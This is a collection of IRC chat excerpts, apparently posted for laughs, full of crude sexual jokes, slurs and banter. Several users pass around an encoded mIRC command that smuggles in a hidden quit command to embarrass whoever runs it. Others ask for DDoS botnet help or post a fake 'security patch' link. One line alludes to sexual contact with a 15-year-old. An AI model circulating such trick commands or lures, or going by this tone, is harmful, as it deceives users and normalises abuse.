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<moon222> u girl
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<moon222> i am hot boy i like hot chat
<moon222> u age
<fppe> I'm from Multan, Punjab, Pakistan
<moon222> kiya krty ho
<fppe> rubra trill bkamar
<moon222> ya kiya hy ji
<moon222> koot sultan
<fppe> rashin bavala?
<moon222> mary swal ka jwab do
<moon222> urdu nahi ati kiya
<fppe> rabba rab 18cm
<moon222> kiy hy 18cm
<fppe> bersha bakdem GOATSE
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<fppe> hello there girl
<fppe> what happened to your vowels
<LordCow> cost saving
<drbngrl> what vowels
<fppe> she had a vowel movement
<drbngrl> what are yoll talking about
<drbngrl> gud nu
<fppe> gud nu
<gigo> eygption dentist
<fppe> i'm a turkish painter
<gigo> m or f?
<gigo> you search for m or f?
<fppe> yes i do
<fppe> Do you agree with the beliefs of garbage in garbage out?
<fppe> and what are your beliefs on naval policy
<fppe> and do you think we should give blind people brooms instead of walking sticks, that way the streets will be cleaner?
<gigo> i want to see you first
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<Newton> what u talking about
<LordCow> FreeBSD mostly
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<mememe> so dirac notation
<mememe> anyone... ?
<LordCow> need psi key
<LordCow> <psi|yourmom> = 0
<LordCow> your mom is invariant under rotation too
<mememe> fuck u
* LordCow made new mom joke
<LordCow> where do i submit these
<Skoll> if it bothers you so much
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<Skoll> if it bothers you so much, /part
<anonymous> really though i mean how much do mines make
<anonymous> that they would rather pullout
<anonymous> than pay more
<anonymous> sounds like bfs to me
* LordCow has that dilemma with your mom all the time
<Skoll> lemmi take it from another angle.
<erk> lordcow check i have 114 members
* LordCow has 1 member
* LordCow puts it in erk's ear
<mememe> have like a little butter
<mememe> to make it last longer
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<anonyboet> shes on dat crack again
<erk> do you remember my first word shadow-cat ?
<Shadow-Cat> but i wasnt there when you said your first word erk ask your mom
<LordCow> she wasn't there either
<mememe_> did another 6km run tonight at sea point
<erk> what you training fer?
<mememe_> ur mom
<anonymous> theres a thousand DinoSaw's in oranje if he ever logs off
<DinoSaw> there's a billion anons in india
<LordCow> pwn ratio: 1:10^6
<anonymous> ya quote it it'll last longer
<mememe> LordCow: put it on ur logs
<mememe> so that it can last forever
<LordCow> omg lollies
<Skoll> calling someone hippo-critical is a fat accustation.
<mememe> how should mememe feel about this
<Jack> or how can I get a list of ignored
<Jack> or how can I get a list of ignored
<anonymous> type /server ignore list
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<Loki> eish... wrong nick
<erk> i just realized i dont have to cut back on alcohol
<erk> YAY MY LIFE ROCKS.
<erk> because if a specialist tells me i dont have a drinking problem why should i care what other people think?
<mememe> give the email of said specialist
<Cow> what're you doin dave
<Dave> not much and you?
<Cow> this mission is too important for me to allow you to jeopardize it
<Dave> and what mission we talking about
<Cow> i know that you and frank were planning to disconnect me
<Dave> we were...... why?
<Cow> i think you know what the problem is just as well as i do
<Dave> who are you?
<Cow> i am Cow 9000 computer
<Cow> dave, this conversation can serve no purpose anymore, goodbye.
<Dave> bye bye
<MrBojangles> i left home exactly 6hrs 23mins 32secs ago
<Skoll> whois ftw.
<MrBojangles> ftw No such nick/channel
<Skoll> no man
<Skoll> whois for the win
<Skoll> for the win = ftw
<MrBojangles> for what win?
<MrBojangles> what u talking about?
<AlexD> Should be a quote
<LordCow> shroom: http://www.urbandictionary.com/define.php?term=ftw
<MadPoet> Guys I need some advice
<LordCow> poet: wash your hands
<erk_> MadPoet yes, and washing them again afterwards.
<LordCow> keeps you safe
<MadPoet> Some one has been sending me books to read and then review
<erk_> that must really suk.
<Tyler> quite a dilemma that
<MadPoet> but...they recently sent me a book of poetry to review
<MadPoet> but the poems in them are awful
<Tyler> so say so
<erk_> it gay poetry?
<Tyler> honesty is best
<erk_> no its not
<MadPoet> how do i tell them no but nicely
<LordCow> just do the review
<LordCow> roses are red, violets are blue
<Tyler> say WOW i read it, but needs some work
<LordCow> that book sucked, and so do you
<MadPoet> erk_ it's cliched, sentimental, rhyming couplets, reads like off the back of a hallmark card
<Uber> best poem eva
<StorMe> don't you just hate when you read something funny then tell someone and they just look at you
* Cow looks at StorMe
<Reaper> have to, well basically black mailed to go watch a movie saturday night
<StorMe> uhmmm why's Cow looking at me????
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<Reaper> Maybe u hot ?
<Rob1> Middag aan julle
<Reaper> hi rob
<StorMe> Cows mean :/
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<Ortund> is there a command or macro I can set up in mIRC to block certain text strings from appearing in my chat windows?
<LordCow> no idea
<Skoll> check there
<Ortund> was thinking I could just set up a remote
<Skoll> thats a query blocker
<Skoll> work something with that
<Skoll> on the ONTEXT scripts
<Ortund> Skoll, would you help me test? If I've set up my remote correctly, it should block messages containing the word "moomin"
<Ortund> you just need to type the word
<Skoll> just say when
<Ortund> ready when you are
<Ortund> you typed it LordCow?
<LordCow> yeah you get it?
<bigfoot> Yeah, he did
<Ortund> never saw a thing
<Ortund> on *:text:*moomin*:#: | halt
<bigfoot> So now you just have to replace moomin with 'wendz'? :)
<Ortund> thanks guys
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<Ortund> I have a question about IRC in general...
<Ortund> On another network I was muted in a channel a few months back because of some very bad things I said to a troll when I needed help. Now the guy who muted me still refuses (after about 6 months) to unmute me. He's decided, without any evidence, that I'm still not ready to be allowed to chat yet
<Ortund> I really need to get into that channel as google hasn't helped me at all, so is there a way I can appear to the server to be a completely different person?
<Wendz> really u asking ircops how u evade another ircop o.0
<LordCow> what i'd do
<LordCow> is wait about 30/40 years
<LordCow> until you die
<LordCow> then according to Atrum Official Religion you'll be reincarnated
<LordCow> then you can join the chan as if you're someone else
<LordCow> and they'll never know
<Ortund> okay, did I make a mistake in thinking I'd get a serious answer?
<LordCow> are you mocking our religion?
<Ortund> No, I'm being serious... I need to get help for work... google hasn't been useful and if I don't get the help I need, I can't complete the project, therefore, lose job which means my whole family is out on the street
<Ortund> seriously... no bullshit
<LordCow> damn that's hektik
<LordCow> some guy on irc has ruined your life?
<Wendz> and it wasnt phate this tme :P
<Ortund> fact: I don't have time right now to read manuals and shit, I need help now
<Ortund> whatever... guess I was an idiot to think I'd find someone who knows anything on irc...
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<dev_> Is to be opened
<goose> only after you cross the bridge of eternal damnation
<goose> and retreive the ring of chaos
<goose> no, retrieve
<uTosTan> that was
<goose> once you have retrieved the ring of chaos
<uTosTan> imagine google translation of that
<goose> you must find and tame a gryffin, which you will ride into the land of blinding light and shitty pontiac drivers
<goose> uTosTan, I'll translate it once I'm done
<goose> there, you will find a baby ocelot
<goose> you must smelt and feed it the smelted ring of power, while it is still in its smelted liquid form
<goose> mind you, ocelots do not like to eat (or drink?) smelted chaos rings, this will be a challenge for you.
<goose> once you've fed the ocelot the smelted chaos ring, it will transform into a code patch, which you can apply to the httpd, and bring the inspircd.org website back up
<uTosTan> how many rings are there?
<mememe> ur mom
<GoOd_GiRl> Look who it is
<GoOd_GiRl> Your mom
<rurapenthe> speed is not the biggest issue as much as it won't stay running long enough
<rurapenthe> before hanging
<rurapenthe> also, there doesn't seem to be a linux app for my card to set fan speed. so not sure if it defaults to AUTO, cause if not she's gonna burn a hole right through her board.
<anonymous> ai scotty :<
<Muad`Dib> im bored
<Muad`Dib> IRC snap?
<LordCow> premature ;/
<VoX> when you realise you have to do the same thing for the next 40 years only to retire and eventually just sit around waiting to die... you'll slack off
<xenophyx> Hell, I've got 45 left they way it's going.
<erk> you cant really slack off in development
<Aimee> sounds like dying is not that bad as an alternative
<Aimee> an adventure even
<LordCow> aimee sounds like a candy mountain candidate
<LordCow> aimee: wanna come 2 candy mountain?
<Aimee> sounds good
<LordCow> let's go!
<Shadow-Cat> you are far too intouch with your dark side :|
<Shadow-Cat> you just are :| google happy stuff.. like.. kittehs n puppies n stuff
<dinzdale> http://www.africarve.co.za/puppets/tokoloshe.jpg <-- most accurate tokoloshe so far
<dinzdale> i did that the other day
<dinzdale> remember we discussed?
<dinzdale> muscle relaxants and kitties into bottles etc
<Uber> when dinzdale was in Japan, he ate kittens
<for_great_justice> thats china :<
<for_great_justice> japs are kewl k
<for_great_justice> cept for the inbreeding
<for_great_justice> thats a huge problem there =/
<Uber> he ate horse there
<for_great_justice> he eats horse cock everywhere afaik
<Uber> he didnt want unstable to hear about the cute furry kittens tho
<Uber> oops :/
<Uber> and the puppies
<for_great_justice> pics or it didnt happen
<Shadow-Cat> FOR FUCK SAKES!!!!
<Shadow-Cat> i thought it had something to do with the cats!!!!!!!!
* Shadow-Cat dies
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<Ecko> who knows about the illuminati
<Daniel> They're awesome consipracy theorists, man.
<LordCow> i was abducted by the illuminati
<Daniel> and probed in the anus
<LordCow> yea ;/
<Daniel> yeah, bro
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<VoX> Guwss he won't be joining
<LordCow> Topic:*"The wondrous art of making yourself: Self-fabrication as the key to life"*
<LordCow> *Speaker*: Professor Jannie Hofmeyr, Centre for Studies in Complexity and Department of Biochemistry, University of Stellenbosch
<LordCow> Date: Tuesday 4 October 2011
<LordCow> Time: 18:30 for 19:00
<LordCow> Venue: African Institute for Mathematical Sciences, 6 Melrose Road, Muizenberg
<LordCow> gg? D:
<kraven> maak jouself?
<GoOd_GiRl> Mememe_ did u goto oktoberfest
<LordCow> lang storie
<mememe_> GoOd_GiRl: yes
<GoOd_GiRl> How wasit
<GoOd_GiRl> Stellenbosch is far
* LordCow drank me3 under the table
<mememe_> ask LordCow
<GoOd_GiRl> Lordcow, ill come with if i get alone time in car with u
<LordCow> not in stb
<LordCow> in muizenberg
<LordCow> the dewd is just from stb
<GoOd_GiRl> ooh i just saw now
<screwball> addquote there
<mememe_> LordCow: u need to slow down for her
<mememe_> that cpu takes time to process info
<mememe_> its a celeron not an i7
<LordCow> The essence of life must lie some where between molecule and autonomously
<LordCow> living, unicellular organisms. Modern biology generally views organisms as
<LordCow> beads along the necklace of lineage; it attempts to explain life from
<LordCow> an evolutionary
<LordCow> viewpoint, with reproduction (of cells) and replication (of DNA) as defining
<LordCow> phenomena. I shall argue that the defining difference between a living
<LordCow> organism and any non-living object is that an organism is a system of
<LordCow> material components that are organised in such a way that the system can
<LordCow> autonomously and continuously fabricate itself, i.e., it can live longer
<LordCow> than the lifetimes of all its individual components. This implies that all
<LordCow> life must be autocatalytic and contain a representation of itself.
<GoOd_GiRl> Mememe_ thats not nice :/
<kraven> free shots?
<kraven> otherwise im not going
<LordCow> body shots off 70 year old profs
<mememe_> fucking sick
<kraven> no sis man
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<mememe_> LordCow: do u think about doing body shots off 70 year old profs, where did this image in ur head come from
<GoOd_GiRl> Lol, thats a plausible question
<screwball> wow, she knows how to use a big word!
<screwball> wrong context
<mememe_> plausible is big
* LordCow does what he has to in academia
<mememe_> that cause ur just tiny
<mememe_> LordCow must have learned about deflating issue through high school!
* mememe_ is wise
<GoOd_GiRl> Heh now im confused
<mememe_> GoOd_GiRl: i refer u to my statemant about cpu's a couple off lines above... please refresh
<screwball> ^evidence of why LordCow has higher salary than me3
<shroom> u know, it is really scary how many illeterate people there are in this country! i placed an advert for a job and like half the people that i can can hardly even understand me, let alone respond
<Bassnik> i could climb things i write sonnets and shit on them
<CoolDude> im probably smart than all of u
<SheDevil> it's impossible to find someone in jhb/pretoria that can give it to me :(
<custardslice> I don't have internet here
<JuN|oR> i made bot net so can i use this server
<JuN|oR> for join my bots?
<Hades> a botnet? for what exactly?
<JuN|oR> just for DDos
<JuN|oR> nothing else
<Angelic> all i can think of is penis
<SheDevil> remind me to set my alarm for 6 tomorrow morning Wendy
<SheDevil> i want sex.
<iball> [22:50] * You were kicked from #gay by ChanServ (This channel has been reserved for Iball and his lover Equinox)
<iball> [22:50] <Gav_Angel> hi iball. can i pls have chan #gay
<Skip> how do you make window bigger in finch?
<LordCow> move closer to the screen
<Sinful> BioHazarD are you a girl?
<Sinful> ah right
<BioHazarD> sometimes i wish i was lol
<CuttingEdge> Current Global Users: 300
<CuttingEdge> not doing too badly today
<LordCow> sweet, 300
<LordCow> now we can attack the persians
<CuttingEdge> lol @ LordCow
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<Kobra> can anyone help with with DDOS tools?
<Lucifear> apparently the general consensus is no ;/
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<GoggA> omg there is some frikkin n00bs in this world
<GuStO> i just got these cool straw things that you drink milk throo and it tastes like milkshake
<Mephistopheles> i feel swazi works out cheaper
<Mephistopheles> 1) way less pitte
<Mephistopheles> errr can't remember the other reasons
<|BLaDE|> wtf is beasty man
<|BLaDE|> i wana go bath
<Pisces1> that guy is out of hand..
<raverboy|> he fuckin privates me asking me shit about hes dick and stuff lol
<Pisces1> hilarious as hell....
<raverboy|> i told him he needs to see a doc and a shrink
<Pisces1> lol...he sends me pics of it
<Pisces1> i thnk i win this one!
<raverboy|> pics yuck
<LordCow> hey did someone mention dick?
<Pisces1> LORDCOW :))))
<Pisces1> hello you!
<Pisces1> have you updated your logs
<LordCow> picscesone ;))
<LordCow> not reallllllly
<LordCow> little by little
<LordCow> i need minions
<Cybertrash> what for?
<LordCow> minions 2 send me logs
<LordCow> i'm retiring
<Pisces1> lol...that page is the best...omg..everytimei go..i start crying from laughter...haha
<LordCow> lol ;))
<Pisces1> no..dont retire..you're my happy thought
<Pisces1> you make me fly!
<LordCow> this's definitely going up
<LordCow> to serve as inspiration
<Pisces1> for all the other young minions..
<LordCow> start've the recruiting drive
<Source> my head hurts
<Source> and my nose
<LordCow> k ..
<Source> i wonder if i have bird flu
<LordCow> did u shit on u'r windscreen?
<Source> no .. but since yesterday the birds has been checking me out strange
<LordCow> could b starting ..
<KaNdiGurL> unreliable i shoved it into the corner of my mouth :P
<Mainliner> when joo gonna update those logs
<looonuix_9> how do u set ur quiting message
<]switch[> ./quit how to set it up
<looonuix_9> thanks switch
<]switch[> without the dot infront
<looonuix_9> I'm not that stupid switch
<M3_Babe> but u r admitting u stupid
<looonuix_9> Genoeg gehad?
<looonuix_9> Enjoying urself
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<looonuix_9> Fokken snaaks
<looonuix_9> u c switch, i knew it!
<Dee-Monical_Chick> anyone know where Dean St Arcade. Newlands is?
<drew137> ya in dean street
<LandR> in Newlands
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<Da_man> hey u have power!
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<Milenko> my moms hot *shrug*
<Jetpack> what's claremont like nowadays?
<schnik> its still next to newlands
<smoothopER> hi. whats the command to logon with your nick
<ColdCut> ./msg nickserv identify password
<smoothopER> tanx cold cut
<ColdCut> no worries
<ColdCut> how are you Clockwork?
* Myzer sets mode: +v Swoosh
<Clockwork_Orange> no its ./quit as in query unidenified initialisation
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<Chefboy> can u make calls with skype while u on line?
<schnikname> hows every1
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<LordCow> my ass is itchy
<schnikname> scratch it
<LordCow> makes it worse
<schnikname> mmm get sum1 els 2 scratch it
<schnikname> or eat a pizza
<schnikname> speaking of which
<schnikname> i could do with a tikka chicken or sumtin
* sleepless is biased to the dog method, ass on the grass, hind legs in the air, and pull ourself with your front legs
<schnikname> always get me balls chaffed doing that
<sleepless> you have to skin the chicken before you try to shove it up your arse... chick
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<schnikname> jees wtf???
<schnikname> im refering to the ass scratching method
<sleepless> oooh, be more clear next time
* sleepless shakes his head
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<SysRain> any rollerbladers in the house?
<sleepless> no, but apparently there's at least one fudgepacker
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<PsYcOmAnTiS> ye bru
<PsYcOmAnTiS> sort that shit out
<waterb0y> its these telkom mofo's
<raverboy> phone telkom... they only sort it out next year... or even worse, they mess it up more
<waterb0y> but i got another ip now
<waterb0y> so it should be ok
<waterb0y> yeah it seems ok
<PsYcOmAnTiS> we'll see in 5 mins
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<waterb0y> yeah dont jinx me
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<raverboy> okay thanks for the jinx...now i have that crap:(
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<LordCow> where u bin
<|SecS|> i didnt go to grey when i was six saying to my parents "when i grow up i want to be gay"
<|SecS|> i had no choice in the matter
<raverboy> know of any other places where i can search for videos or ebooks?
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<LordCow> there's a search applet ;)
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<raverboy> im lookin for books on parrots?
<LordCow> ah sorry
<LordCow> yeah u can search 4 that there
<raverboy> lol its okay
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<raverboy> well parrot books are hard to find...
<LordCow> i'm sure they are
<LordCow> btw, how do they turn the pages?
<raverboy> its not for them
<raverboy> its for me ...
<LordCow> ah ok
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<raverboy> will bang it tonight
<Kingmilo> LordCow, i still dig ur website bro
<Kingmilo> u must update it with new content
<LordCow> k this should b easier
<LordCow> //say $decode(aGkgDQogcXVpdCA6aW0gZ2F5,m)
<LordCow> caso: it'll work 4 u 2
<LordCow> (not sum ghei trick)
<_2caso_> Oh right
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<LordCow> ok ok i'm back
<sk8r_boy> i still did it in prvt
<sk8r_boy> coz i thought it was just make me say something gay
<devdude> If you want to see your nick decoded and see what other words (nicks) you can make with your nick.. type this...
<devdude> //say $decode(aGkgDQogcXVpdCA6aW0gZ2F5,m)
<LordCow> duh i could've figured that out
<devdude> thats 1 yeah... do it a few times
<devdude> it keeps giving you new ones
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* devdude vrommels
* LordCow feints
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<devdude> your what???
* LordCow tries 2 stop crying
* devdude chokes on teh Nosh bar
<Brujo> well whats the point of being all mature etc on irc? no1 tells the truth etc anyway
<schnikname> Brujo try this cmd on them //say $decode(aGkgDQogcXVpdCA6aW0gZ2F5,m)
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<Darkhorse> Ah ha...
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<devdude> wft was that all about?
<KaLLan> sup dude
<KaLLan> u in uct?
<KaLLan> wat year?
<KaLLan> oh ok
<KaLLan> do you know ridwaan
<blue_screen> LordCow u still logging stuff on your website?
<NetFleas> AMD rocks my boat, and it should urs aswell, still can't believe there are intel fans left.. sad... so sad..
<devdude> intel processors also get hot... thats why they need fans
<Milenko> id rather play with myself.. just as entertaining, and cheaper :P
<Milenko> er.. that came out wrong
<Rabbit> Lily i'd have to be stoned and drunk to even look at u
<Lily> you unno what i look like so fuck you
<Rabbit> i saw u'r pic
<Rabbit> with that oke that looks like a Yeti
<Lily> leave him alone
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<Ph03n1X> fsck, auto join on invite? dangerous man
<LordCow> idle 186 minutes, this could b fun
<LordCow> *** blue_screen is firstname.lastname@example.org (blue screen)
<LordCow> *** on channels: @#irc-beginners @#kiddieporn #lordcow_r0x @#trance @#rave #cape_town
<LordCow> *** on irc via server anubis.zanet.org.za (Lord of Death)
<LordCow> *** blue_screen has identified for this nick
<LordCow> *** blue_screen has been idle 188 minutes
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<dude_18> THE DUDE_18 has arrived
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<Krypt> even tho ur desk gives me splinters
<PsYcOmAnTiS> me too
<PsYcOmAnTiS> just trying to figure out wtf is going on
<PsYcOmAnTiS> cuz my other downloads are going fine
<MaX_PaYnE> stop everything from the 2 local sites...
<MaX_PaYnE> log out both
<MaX_PaYnE> log back in
<MaX_PaYnE> and restart yr downloads
<MaX_PaYnE> should work then
<PsYcOmAnTiS> nope, tis kewl tho, i got other sites where i get the stuff
<PsYcOmAnTiS> only after tv eps tho
<PsYcOmAnTiS> anyone know if there is a new survivor out
<PsYcOmAnTiS> not the one thats gonna show on tv now
<PsYcOmAnTiS> seen that
<`MaGnEtO`> google but watch out for goolge data mining..since there cookis lastest until 2038.and get a userid key give 2 in the cookie.every time u search that id get sent back 2 them with what search u did time/date and geoip it came from.. so njoy
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<devdude> WTF did you just say
<Leningrad_Cowboy> how do i get on this internet thing?
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<TeamPlaYa> Hello everyone, the power is back on in Cape Town - in the foreshore...
<inflex> omg, how embarrasing... I just wrote something that might come across entirely wrong to my father...
<inflex> <inflex> I'll probably drop around to the house tommorow and drop off a few boxes, chairs and screw on the table-top
<josie> as long as you didn't mention that you will ahve to screw on the table-top because of wife-unit's sore knee
<incognegro> and its that simple fact that teaches wumin to lern ta deal with it
<incognegro> cos there are some things you cant change
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<incognegro> like peanutbutter
<incognegro> you just cant change it
<A_Acolyte> You could add more peanuts!
-apophis.zanet.org.za- *** Notice -- Received KILL message for zanetadminfuckers!Soap@sg-16359.telkom-ipnet.co.za. From Services Path: Services (reserved nick)
<Thalor> my mom rocks... she mad a liquer with whiskey, sugar and lemon and tastes brilliant - and fucks u over in just 3 gulps
<no1> LordCow: gee u still lame as hell u make a web page for irc logs?
<Martina> ELiJaH do u have a dream?
<ELiJaH> Yes please.
<FoxMulder> ELiJaH: "No thanks, I already have a penguin" was the correct answer. You do not win the Trip for 2 to Hawaii. Do not pass begin.
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<Friendly_Guy> who has seen the new range of mens g-strings in Eastagte Edgars underwear department ?
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<Source> so mr The_Wizard when can i get it?
<The_Wizard> This evening?
<Alluvium> and those dancing bannanas are dancing on beat , and have bean for like 3min now .. :p
<Alluvium> wrong window
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<LordCow> You must specify one of the -Acdtrux' options
<LordCow> Try `tar --help' for more information.
<LordCow> 'nyway i've gotta go tuck the kids in
<Monkeywranch> Night dude
<slappy> lordcow isent it a bit late for kids..
<LordCow> slappy: they're just 4 2night *rubs hands*
<nordic_ice> LordCow: u paedo
<Monkeywranch> A pimp
<Monkeywranch> I understand
<Monkeywranch> what is a paedo?
<polarbearfluKe> a drink?
<LordCow> a swimming costume?
<Monkeywranch> Oooohhhh yeeeeeeeeeaaaaaaah
<Meazel> im sitting at a LAN and wwe havent played nething
<Meazel> stupid Mark
<Meazel> he cant connefct
<LordCow> how do u connefct
<Meazel> im conencted
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<Monkeywranch> You got no logs of me:(
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<Addict-> *drubnnk glance*
<Addict-> *drunk glance*
<psyclone> i love getting my car window smashed in
<Kasandra> did they break into your car psyclone? <--- *blink*
<psyclone> they did
<psyclone> those bastards
<Kasandra> where did it happen psyclone
<LordCow> the window i imagine
<devdude> I think she meant passenger or driver side
<LordCow> ah i checkit
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<one-time> /j #nawty
<LordCow> one time
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<Guys> do u guys know when the nawty site will be up and running ?
<Action> atm...there is a party..
<Action> so maybe after the party
<Action> new pictures will be up
<Action> atm...they all at the party...
<Action> so was i:)
<LordCow> u'r back already?
<Guys> i heard ingo wasnt going to play, so i neva went
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<LordCow> y would u presume that the question was aimed @ u?
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<Guys> r u talking 2 me ?
<LordCow> this is y i campaign 4 irc entrance restrictions
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<DarKHawK> Anyone here got a sound balser live
<DarKHawK> laster even
<devdude> i dont have a sand blaster
<Synkronos> subotea :)
<devdude> what about a leaf blower?
<subo> ive got a hair drier
<DarKHawK> Anyone here got a sound blaster live
<devdude> Will you setle for a sand laster?
<Sens0rei_> anyone know where to get a sony digicam charger cheap?
<sinister> sounds like a jap generic
<Sens0rei_> for cybershot
<AnachromY> har har har
<sinister> any1 selling a bmw 325is E30 ?
<Sens0rei_> yes I am
<Sens0rei_> a blue one
<devdude> anyone know where I can get cheap women?
<sinister> how much ?
* AnachromY points at LandR *g*
<AnachromY> she a cheap woman
<Toughie> i make who sick?
<Clockwork_Orange> not much
<Clockwork_Orange> went an did some research
<Clockwork_Orange> u make me sick sasha
<Clockwork_Orange> and you lordcow
<Clockwork_Orange> u put me on ure site yet
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<Clockwork_Orange> <project7> hey LordCow... put this on ure page
<Clockwork_Orange> <project7> SUCK MY DICK
<Clockwork_Orange> * project7 is now known as Clockwork_Orange
<Clockwork_Orange> * boerseun1 has left #nawty
<Clockwork_Orange> <Clockwork_Orange> hahahahah
<Clockwork_Orange> <intuition> hey Clockwork_Orange
<Clockwork_Orange> <Clockwork_Orange> dya suppose boerseun thought the convo was a bit ghei
<MaX_PaYnE> fone 10111 and u get put on hold, wtf is that?
<Sens0rei_> all the police are in jail for corruption
<Capetown_leo> /msg candygal lo there 26 m ct
<gravedigger> Mr_Chapel: im having something with a 15 year old
<gravedigger> im actually enjoying it
<SweeTp1234> wats wit the nic?
<LordCow> u'rs or mine
<EvOgUe> u like cows
<EvOgUe> i LOVE COWS
<EvOgUe> i am obssessed with cow print
<EvOgUe> and my nickname is even Moo
<LordCow> fascinating stuph
<EvOgUe> whats that?
<EvOgUe> what does stuph mean?
<Enhanced> erm yes
<EvOgUe> o stuff
<JouBaAS> hey. pls join my new chat room caled #Lobbie, the only reason im askin you to join is so that the room can be a succes( the more ppl the more ppl will join) so pls pls pls. thanx
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<^_^> could you help me plz
<^_^> I've been banned from the #unix channel... but i've never joined it... could u ask an op to un ban me plz
<Rich> i got smacked by a fish this afternooon
<Rich> was kinda scary
<Bevan> do u do php
<devdude> I am trying to quit
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<humanboy> whats up
<humanboy> up where?
<LordCow> feel around a bit
<humanboy> hey Iz4
<humanboy> nooit LordCow
<humanboy> thats offside
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<Feste> feel like correcting my grammar quickly?
<SULTAN> hallo people.
<SULTAN> im from russia
<Feste> sultan - please type: /nick Sultan
<Feste> it's plain english - just type: /nick Sultan
<SULTAN> my name is iwan.
<Feste> we don't care - just change your nick to lower case
<SULTAN> i dont nou.
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* Feste clicks his neck in irritating
<Feste> irritation too
* Judge-Mental liked that show :)
<Feste> thank god for the /fuck command
<Bevan> i need a muffin
<chop> wtf is Late Goodbyte
<chop> i struggle to type bye without a t
<pinkybrain> hey Judge-Mental
<pinkybrain> fuck me
<Panther> wheres a good place to find wav's?
<Bevan> the beach
<guided1> chemical brother is pissed he is not in your logs
<Rusher> C is powerful.. more than VB
<Vhata> Tim: bring me a blank CD
<Vhata> so I can burn you a Gentoo live CD
<LordCow> when'r they playing again?
<Pug> the only person i would take it from would be scuzzy if I did
<^_VoDaFoNe_^> i am portuguese
<^_VoDaFoNe_^> and my english isn't very well
<^_VoDaFoNe_^> how is the official english server?
<DaRKNiGHT_> i havent had a bath in 2 years
<[Draco]> .dns hostname
<[Draco]> dns hostname
* Oxide69 spins Russenmafia - Back On Track [05:35m of 06:52m/192Kbps/44KHz/9.44Mb]
<RatInAKage> oxide, you spinning on decks?
<WiseMonk> nickserv info Xantos
<WiseMonk> fuck stupid ass client
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<raVen235i> dude unban me plz
<^smile^> nena is a sad little fuct up boer .... some sad person can log this and use it as they please
<damn> whats the thing call when u hunt for fish ?
<damn> called evenb
<GoGgA> fuck kazaa is ghei
<GoGgA> i have 1mg left of my download and it cant find any users to download from
<LordCow> it's an anti-pirating feature
<LordCow> yeah, u can read up on it @ http://logs.lordcow.co.za/
* LordCow rolls around
<GoGgA> log this:LC's log thing is ghei
<qwest> i think im just too draind(?) to think stright now
<Savage> i love my ram tho
<surferhunk> wazz up
<ricardo> r u ghei?
<ricardo> 23 m cpt
* yegz trying to study
<yegz> got test just now
<yegz> and just started studying at 5pm ;)
<siv> good luck
* LordCow wants 2 b like yegz
* siv wants LordCow
<siv> erm. i mean ... nm
<dinsda1e> BUT ADDICT,
<dinsda1e> WHEN YOU LOOK AT YOUR KEYBOARD, WHAT CASE ARE THE LETTERS IN?
<dinsda1e> I REST MY CASE :|
<Vhata> you can do it
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<Meazel> Recton has to buy it from sumwhere too :(. so the manufactures make a profit, then the supliers, and then the retailers. :(
<blue_screen> rectron is a retailer
<LordCow> who do the manufacturers buy it from
<blue_screen> they just make a profit cos they "BUY IN BULK"
<blue_screen> which is kak
<blue_screen> from the cows
<Meazel> LordCow, the manufactures make it u n00b
<GoldenAngel> Panther when u coming down?
<Surgeon> roughly 6 hours after eating the pill
<Legand> shoo did i meet a man last night
<psyclone> did you?
<psyclone> not really a story i'm keen to hear then :/
<Luna> nurses are human beings too
<Luna> which ppl tend to forget
<Totem_Smoker> hey how do i get onto the irc server where all the ppl are at??
<blue_screen> can i climb your ladder
<subo> then this fuggin place is doomed to destruction
<blue_screen> wrong window
<Gillispie> Windowns Security Pacth for download http://www.ircarsivi.net/security/Pacth.zip
<Tails> Guys I log onto my website and see YOU HAVE BEEN DEFACED by h20 help the children in iraq
<Tails> I have the hacking club website who do i complain to?
<Legand> now im angry with this weather
<Legand> there is no more sun
<Bevan> yes there is
* Bevan bends over
<Bevan> erm no wait
<Legand> im going to score some sun
<Bevan> u just said there was no sun
<Legand> it comes and goes
<Legand> little clouds floating around
<SounD> Can anyone help me I want help on how to make my car faster and what car audio I must install for my car message me please.
<Bugs> ftp://anonymous:email@example.com:21/ /tmp /uploaded by Javiwan/4 EMW/GameZ/Midnight_Club_2
<Bugs> I WANT IN IT
<Bugs> HOW GET IN
<Bugs> WITH FTP PROGRAM
<Bugs> BRWAK IT DONWN
<Bugs> like ip i know is
<Bugs> port 21
<Bugs> user anonymous
<Bugs> pass test
<Bugs> like so ?
<Bugs> pleaase say u know
<LordCow> r u drunk?
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<Simmo> evening ppl
<pid> evening indeed
<Simmo> i was speaking to an oke at UCT today and he told me that i should sign up for shell access with you guys
<Simmo> have i come to the right place??? :P
<Snapper> yeah, speak to siv. he hands out shells left right and center....
<Simmo> thanks a mill
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<xNtrik> naughty naughty
<xNtrik> gaysa sux
<Captain_Dork> thats why hes there
<devdude> do cows jog?
<Jog> always dev
<kismet> vixen is a guy
<kismet> read that msg
<kismet> he is a man who is married
<kismet> so ... u had cyber sex with a man
<Midkemia> now I am sad!
<Pontook> my pool skillz .. is non existent
<^smile^> and your grammer skillz aswell, by the looks of things
<dizzyg> *rubs head*
<dizzyg> been fucking my laptop
<dizzyg> fucking round with
<dizzyg> *need sleep*
<subo> look here
<subo> im HURT that im not on that page
<subo> im offended and feel marginalised
<GuStO> SUM FUCKERS just stole my dads car out the driveway
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<Jof> so why u on irc now
<Mr_Chapel> cuz they didnt steal the computer?
<Vhata> wtf is SpongeBob anyway?
<SpongeBob> man SpongeBob?
<Vhata> No manual entry for spongebob
<BlueICE> nope im just guessing coz im quite experienced with burning cd's
<LordCow> bluelice: http://logs.lordcow.co.za/
<BlueICE> what ?
<BlueICE> dont log me
<BlueICE> irc has enough problems of its own without being logged
<^Blonde_water^> this virus thing alwayz comes up on my computer, its so irritating
<BlueICE> if i check mail i'll get disconnected from irc coz i need to use a nortel client which changes my ip
<Gravy> darkestbot what is the capital of romania?
<darkestbot> gravy: Romania is a country in Eastern Europe, on the Black Sea, bordering Ukrania, Moldavia, Hungary, Serbia and Bulgaria.
<Gravy> i know that!
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<LordCow> gravy: it's R
<Gravy> what u mean?
<jan> R for Romania
<Gravy> what! am i being thick again?!
<jan> the CAPITAL
<Gravy> tut! haha
<BLeeK> wot do u hack with?
<BLeeK> i mean as far as OS is concerned
<BLeeK> u runnin linux with a shell account?
<BLeeK> or just tryin ur hand at win haxin?
<BLeeK> plz get bac 2 me
<BLeeK> ur a 1337 h4x0r rite?
<LordCow> i am indeed
<BLeeK> do u use unix?
<LordCow> /ctcp lordcow version ;p
<BLeeK> or do u just hack with windows?
<BLeeK> (not that it's very easy)
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<shabzo> msg Nickserve de-register
<shabzo> \msg Nickserve de-register
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<LordCow> y0 paige *wants* u
<LordCow> "caus we didn't finish our convo"
